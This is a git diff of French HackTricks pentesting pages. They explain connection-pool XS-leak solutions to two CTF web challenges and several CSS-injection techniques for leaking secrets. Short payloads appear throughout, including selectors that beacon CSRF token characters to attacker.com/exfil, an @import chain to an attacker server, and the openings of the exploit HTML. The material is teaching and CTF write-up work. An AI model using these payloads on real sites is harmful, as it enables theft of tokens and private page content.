<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,45 +1,47 @@
|
|||
# Exemples de pool de connexions
|
||||
# Exemples de Pool de Connexions
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Sekaictf2022 - safelist
|
||||
|
||||
Dans le défi [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) donne un exemple de la façon d'utiliser une **variation** de la technique du **pool de connexions** pour effectuer une **XS-Leak**.
|
||||
Dans le challenge [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) donne un exemple d'utilisation d'une **variation** de la technique **Pool de Connexions** pour réaliser une **fuite XS**.
|
||||
|
||||
Dans ce défi, l'objectif est d'exfiltrer un drapeau qui apparaîtra dans la session web des bots à l'intérieur d'un message. Voici les ressources dont dispose l'attaquant :
|
||||
Dans ce challenge, l'objectif est d'exfiltrer un drapeau qui apparaîtra dans la session web des bots à l'intérieur d'un post. Voici les atouts de l'attaquant :
|
||||
|
||||
* Le **bot** va **visiter** une **URL** donnée par l'attaquant.
|
||||
* L'attaquant peut **injecter du HTML** dans la page (mais pas de JS, dompurify est utilisé) en exploitant une **CSRF** pour faire en sorte que le **bot crée un message** avec ce HTML.
|
||||
* L'attaquant peut exploiter une CSRF pour faire en sorte que le **bot** **supprime** le **premier message** dans le web.
|
||||
* Comme les **messages** sont triés **par ordre alphabétique**, lorsque le **premier message est supprimé**, si le contenu **HTML** de l'attaquant est **chargé**, cela signifie qu'il était **alphabétiquement avant le drapeau**.
|
||||
* Le **bot** va **visiter** une **URL** donnée par l'attaquant
|
||||
* L'attaquant peut **injecter du HTML** dans la page (mais pas de JS, dompurify est utilisé) en abusant d'un **CSRF** faisant en sorte que le **bot crée un post** avec ce HTML.
|
||||
* L'attaquant peut abuser d'un CSRF pour faire **supprimer** le **premier** **post** dans le web par le **bot**.
|
||||
* Comme les **posts** sont ordonnés **alphabétiquement**, lorsque le **premier post est supprimé**, si le contenu **HTML** de l'attaquant est **chargé**, cela signifie qu'il était **alphabétiquement avant le drapeau**.
|
||||
|
||||
Par conséquent, pour voler le drapeau, la solution proposée par @Strellyc\_ est, **pour chaque caractère à tester**, de faire en sorte que le bot :
|
||||
Par conséquent, pour voler le drapeau, la solution proposée par @Strellyc\_ est de, **pour chaque caractère à tester**, faire en sorte que le bot :
|
||||
|
||||
* Crée un **nouveau message** qui **commence** par la partie connue du **drapeau** et plusieurs **chargements d'img**.
|
||||
* **Supprime** le **message** à la position **0**.
|
||||
* Crée un **nouveau post** qui **commence** par la partie connue du **drapeau** et plusieurs **chargements d'images**.
|
||||
* **Supprime** le **post** en position **0**.
|
||||
* Bloque 255 sockets.
|
||||
* Charge la page avec les messages.
|
||||
* Charge la page avec les posts
|
||||
* Effectue 5 requêtes aléatoires vers un site (example.com dans ce cas) et mesure le temps que cela prend.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si le message **supprimé** était le **drapeau**, cela signifie que toutes les **images** **injectées** dans le HTML vont **conflituer** avec les **5 requêtes aléatoires** pour ce socket **débloqué**. Ce qui signifie que le temps mesuré sera plus long que dans l'autre scénario.
|
||||
Si le **post supprimé** était le **drapeau**, cela signifie que toutes les **images** **injectées** dans le HTML vont **se battre** avec les **5 requêtes aléatoires** pour ce **socket débloqué**. Ce qui signifie que le temps mesuré va être plus long que dans l'autre scénario.
|
||||
|
||||
Si le message **supprimé** était le **HTML**, les **5 requêtes aléatoires** seront **plus rapides** car elles n'ont pas besoin de se battre pour ce socket avec le HTML injecté.
|
||||
Si le **post supprimé** était le **HTML**, les **5 requêtes aléatoires** seront **plus rapides** car elles n'ont pas besoin de se battre pour ce socket avec le HTML injecté.
|
||||
{% endhint %}
|
||||
|
||||
### Exploit 1
|
||||
|
||||
Voici le code d'exploitation, extrait de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html) :
|
||||
Voici le code de l'exploit, tiré de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
|
||||
```html
|
||||
<!-- Form to inject HTML code in the bots page -->
|
||||
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
|
||||
|
@ -294,15 +296,15 @@ resolve(isFound)
|
|||
```
|
||||
## DiceCTF 2022 - carrot
|
||||
|
||||
Dans ce cas, la première étape de l'exploit consistait à exploiter une CSRF pour modifier la page où se trouve le drapeau de manière à ce qu'elle contienne **beaucoup plus de contenu** (et donc le chargement prend plus de temps), puis **exploiter le pool de connexions pour mesurer le temps nécessaire pour accéder à la page** qui pourrait potentiellement contenir le drapeau.
|
||||
Dans ce cas, la première étape de l'exploit consistait à abuser d'un CSRF pour modifier la page où se trouve le flag afin qu'elle contienne **beaucoup plus de contenu** (et donc que son chargement prenne plus de temps), puis à **abuser du pool de connexions pour mesurer le temps d'accès à la page** qui pourrait potentiellement contenir le flag.
|
||||
|
||||
Dans l'exploit, vous pouvez voir :
|
||||
|
||||
* Exploiter la CSRF
|
||||
* Occuper toutes les sockets sauf une
|
||||
* Abuser du CSRF
|
||||
* Occuper tous les sockets sauf 1
|
||||
* Calibrer la réponse
|
||||
* Commencer le bruteforce en accédant à la page potentielle avec le drapeau
|
||||
* La page potentielle sera accédée et immédiatement une URL contrôlée par les attaquants sera également accédée pour vérifier le temps que prennent les deux requêtes.
|
||||
* Commencer le bruteforce en accédant à la page potentielle avec le flag
|
||||
* La page potentielle sera accédée et immédiatement une URL contrôlée par l'attaquant sera également accédée pour vérifier combien de temps les deux requêtes prennent.
|
||||
```html
|
||||
<h1>DiceCTF 2022 web/carrot</h1>
|
||||
|
||||
|
@ -506,12 +508,14 @@ exploit('dice{')
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou vous voulez avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -29,25 +31,25 @@ input[name=csrf][value^=9]{
|
|||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Cependant, notez que cette technique ne fonctionnera pas si, dans l'exemple, l'**entrée du nom csrf** est de **type hidden** (et elles le sont généralement), car l'arrière-plan ne se chargera pas.\
|
||||
Cependant, vous pouvez **contourner** cet obstacle en faisant en sorte que, au lieu de faire charger un arrière-plan à l'élément caché, **tout ce qui suit charge l'arrière-plan :**
|
||||
Cependant, notez que cette technique ne fonctionnera pas si, dans l'exemple, **l'entrée du nom csrf** est de **type caché** (et c'est généralement le cas), car l'arrière-plan ne sera pas chargé.\
|
||||
Cependant, vous pouvez **contourner** cet obstacle en, au lieu de faire charger un arrière-plan par l'élément caché, **faire en sorte que tout ce qui suit charge l'arrière-plan :**
|
||||
```css
|
||||
input[name=csrf][value^=csrF] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Voici un exemple de code pour exploiter cela : [https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)
|
||||
Exemple de code pour exploiter ceci : [https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)
|
||||
|
||||
#### Prérequis
|
||||
|
||||
1. L'injection CSS doit permettre des charges utiles suffisamment longues.
|
||||
2. Capacité à **encadrer la page pour déclencher la réévaluation CSS des charges utiles nouvellement générées**.
|
||||
3. Capacité à utiliser des **images hébergées à l'extérieur** (peut être bloqué par CSP).
|
||||
1. L'injection CSS doit permettre des charges utiles suffisamment longues
|
||||
2. Capacité à **encadrer la page pour déclencher la réévaluation CSS des charges utiles nouvellement générées**
|
||||
3. Capacité à utiliser des **images hébergées à l'extérieur** (peut être bloqué par CSP)
|
||||
|
||||
### Sélecteur d'attribut aveugle
|
||||
### Sélecteur d'Attribut Aveugle
|
||||
|
||||
Comme [**expliqué dans cet article**](https://portswigger.net/research/blind-css-exfiltration), il est possible de combiner les sélecteurs **`:has`** et **`:not`** pour identifier le contenu même des éléments aveugles. Cela est très utile lorsque vous n'avez aucune idée de ce qui se trouve à l'intérieur de la page web chargeant l'injection CSS.\
|
||||
Il est également possible d'utiliser ces sélecteurs pour extraire des informations de plusieurs blocs du même type, comme dans :
|
||||
Comme [**expliqué dans cet article**](https://portswigger.net/research/blind-css-exfiltration), il est possible de combiner les sélecteurs **`:has`** et **`:not`** pour identifier le contenu même à partir d'éléments aveugles. Cela est très utile lorsque vous n'avez aucune idée de ce qui se trouve à l'intérieur de la page web chargeant l'injection CSS.\
|
||||
Il est également possible d'utiliser ces sélecteurs pour extraire des informations de plusieurs blocs du même type comme dans :
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
|
@ -57,31 +59,31 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
En combinant cela avec la technique **@import** suivante, il est possible d'exfiltrer beaucoup d'informations en utilisant l'injection CSS à partir de pages aveugles avec [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
En combinant cela avec la technique suivante **@import**, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS à partir de pages aveugles avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
La technique précédente présente quelques inconvénients, vérifiez les prérequis. Vous devez soit être capable d'**envoyer plusieurs liens à la victime**, soit être capable d'**encadrer la page vulnérable à l'injection CSS**.
|
||||
La technique précédente présente quelques inconvénients, vérifiez les prérequis. Vous devez soit être capable d'**envoyer plusieurs liens à la victime**, soit être capable de **mettre en iframe la page vulnérable à l'injection CSS**.
|
||||
|
||||
Cependant, il existe une autre technique astucieuse qui utilise **CSS `@import`** pour améliorer la qualité de la technique.
|
||||
|
||||
Cela a été d'abord démontré par [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) et cela fonctionne comme suit :
|
||||
Cela a été d'abord montré par [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) et cela fonctionne comme ceci :
|
||||
|
||||
Au lieu de charger la même page encore et encore avec des dizaines de charges utiles différentes à chaque fois (comme dans la technique précédente), nous allons **charger la page une seule fois et uniquement avec une importation vers le serveur de l'attaquant** (c'est la charge utile à envoyer à la victime) :
|
||||
Au lieu de charger la même page encore et encore avec des dizaines de charges utiles différentes à chaque fois (comme dans la technique précédente), nous allons **charger la page juste une fois et seulement avec un import vers le serveur de l'attaquant** (c'est la charge utile à envoyer à la victime) :
|
||||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
1. L'importation va **recevoir un script CSS** de la part des attaquants et le **navigateur va le charger**.
|
||||
2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants**.
|
||||
1. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons divulguer certains caractères, puis répondre à cette importation avec la charge utile pour divulguer les suivants.
|
||||
3. La deuxième partie, plus importante, de la charge utile sera une **charge utile de fuite de sélecteur d'attribut**.
|
||||
1. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier**.
|
||||
4. Une fois que le serveur des attaquants a reçu le **premier et le dernier caractère du secret**, il **répondra à l'importation demandée à l'étape 2**.
|
||||
1. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois-ci, elle essaiera de **trouver le deuxième caractère du secret, puis l'avant-dernier**.
|
||||
1. L'importation va **recevoir du script CSS** de la part des attaquants et le **navigateur va le charger**.
|
||||
2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur de l'attaquant, encore une fois.**
|
||||
3. Le serveur de l'attaquant ne répondra pas à cette requête pour l'instant, car nous voulons **leak** quelques caractères puis répondre à cet import avec le payload pour **leak** les suivants.
|
||||
4. La deuxième partie et la plus importante du payload sera un **payload de fuite de sélecteur d'attribut**
|
||||
5. Cela enverra au serveur de l'attaquant **le premier caractère du secret et le dernier**
|
||||
6. Une fois que le serveur de l'attaquant a reçu **le premier et le dernier caractère du secret**, il **répondra à l'import demandé à l'étape 2**.
|
||||
7. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois, elle essaiera de **trouver le deuxième caractère du secret puis l'avant-dernier**.
|
||||
|
||||
L'attaquant **répétera cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret**.
|
||||
L'attaquant **suivra cette boucle jusqu'à ce qu'il parvienne à leak complètement le secret**.
|
||||
|
||||
Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**](./#css-injection).
|
||||
Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
|
||||
|
||||
{% hint style="info" %}
|
||||
Le script essaiera de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme :
|
||||
|
@ -96,26 +98,26 @@ Cela permet au script de divulguer le secret plus rapidement.
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Parfois, le script **ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet** et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffixe) et à un moment donné, il se bloquera.\
|
||||
Pas de soucis, vérifiez simplement la **sortie** car **vous pouvez y voir le drapeau**.
|
||||
Parfois, le script **ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet** et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffixe) et à un moment, il se bloquera.\
|
||||
Pas d'inquiétude, vérifiez simplement la **sortie** car **vous pouvez y voir le drapeau**.
|
||||
{% endhint %}
|
||||
|
||||
### Autres sélecteurs
|
||||
|
||||
D'autres façons d'accéder aux parties du DOM avec des **sélecteurs CSS** :
|
||||
Autres moyens d'accéder aux parties du DOM avec **les sélecteurs CSS** :
|
||||
|
||||
* **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
|
||||
* Sélecteur **`:empty`** : Utilisé par exemple dans [**ce writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** :**
|
||||
* **`:empty`** sélecteur : Utilisé par exemple dans [**ce compte-rendu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** :**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
||||
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_SERVEUR?1"); }
|
||||
```
|
||||
|
||||
### XS-Search basé sur les erreurs
|
||||
|
||||
**Référence :** [Attaque basée sur CSS : Abus de la plage unicode-range de @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC XS-Search basé sur les erreurs par @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Référence :** [Attaque basée sur CSS : Abuser de unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Preuve de concept XS-Search basée sur les erreurs par @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
En gros, l'idée principale est d'**utiliser une police personnalisée provenant d'un point de terminaison contrôlé par nous** dans un **texte qui ne sera affiché que si la ressource ne peut pas être chargée**.
|
||||
L'idée principale est d'**utiliser une police personnalisée depuis un point de terminaison que nous contrôlons** dans un **texte qui sera affiché seulement si la ressource ne peut pas être chargée**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -139,11 +141,11 @@ font-family: 'poc';
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Mise en forme du fragment de texte défilant
|
||||
### Style du fragment de défilement vers le texte
|
||||
|
||||
Lorsqu'un **fragment d'URL cible un élément**, la pseudo-classe [**`:target`**](https://drafts.csswg.org/selectors-4/#the-target-pseudo) **peut être utilisée** pour le sélectionner, mais **`::target-text` ne correspond à rien**. Elle ne correspond qu'au texte lui-même ciblé par le \[fragment].
|
||||
Lorsqu'un **fragment d'URL cible un élément**, la pseudo-classe [**`:target`**](https://drafts.csswg.org/selectors-4/#the-target-pseudo) **peut être utilisée** pour le sélectionner, mais **`::target-text` ne correspond à rien**. Elle ne correspond qu'au texte qui est lui-même ciblé par le \[fragment].
|
||||
|
||||
Par conséquent, un attaquant pourrait utiliser le fragment de texte défilant et si **quelque chose est trouvé** avec ce texte, nous pouvons **charger une ressource** (via **l'injection HTML**) depuis le serveur de l'attaquant pour l'indiquer :
|
||||
Par conséquent, un attaquant pourrait utiliser le fragment **Scroll-to-text** et si **quelque chose est trouvé** avec ce texte, nous pouvons **charger une ressource** (via **injection HTML**) depuis le serveur de l'attaquant pour l'indiquer :
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
|
@ -155,7 +157,7 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ce qui abuse d'une **injection HTML en envoyant le code**:
|
||||
Ce qui abuse d'une **injection HTML envoyant le code** :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```css
|
||||
|
@ -163,24 +165,24 @@ Ce qui abuse d'une **injection HTML en envoyant le code**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
avec le fragment scroll-to-text : **`#:~:text=Administrateur`**
|
||||
avec le fragment de défilement vers le texte : **`#:~:text=Administrateur`**
|
||||
|
||||
Si le mot Administrateur est trouvé, la ressource indiquée sera chargée.
|
||||
|
||||
Il existe trois principales mesures d'atténuation :
|
||||
Il existe trois principales atténuations :
|
||||
|
||||
1. **STTF ne peut correspondre qu'à des mots ou des phrases sur une page web**, ce qui rend théoriquement impossible la fuite de secrets ou de jetons aléatoires (à moins de diviser le secret en paragraphes d'une seule lettre).
|
||||
2. Il est **limité aux contextes de navigation de premier niveau**, il ne fonctionnera donc pas dans un iframe, rendant l'attaque **visible pour la victime**.
|
||||
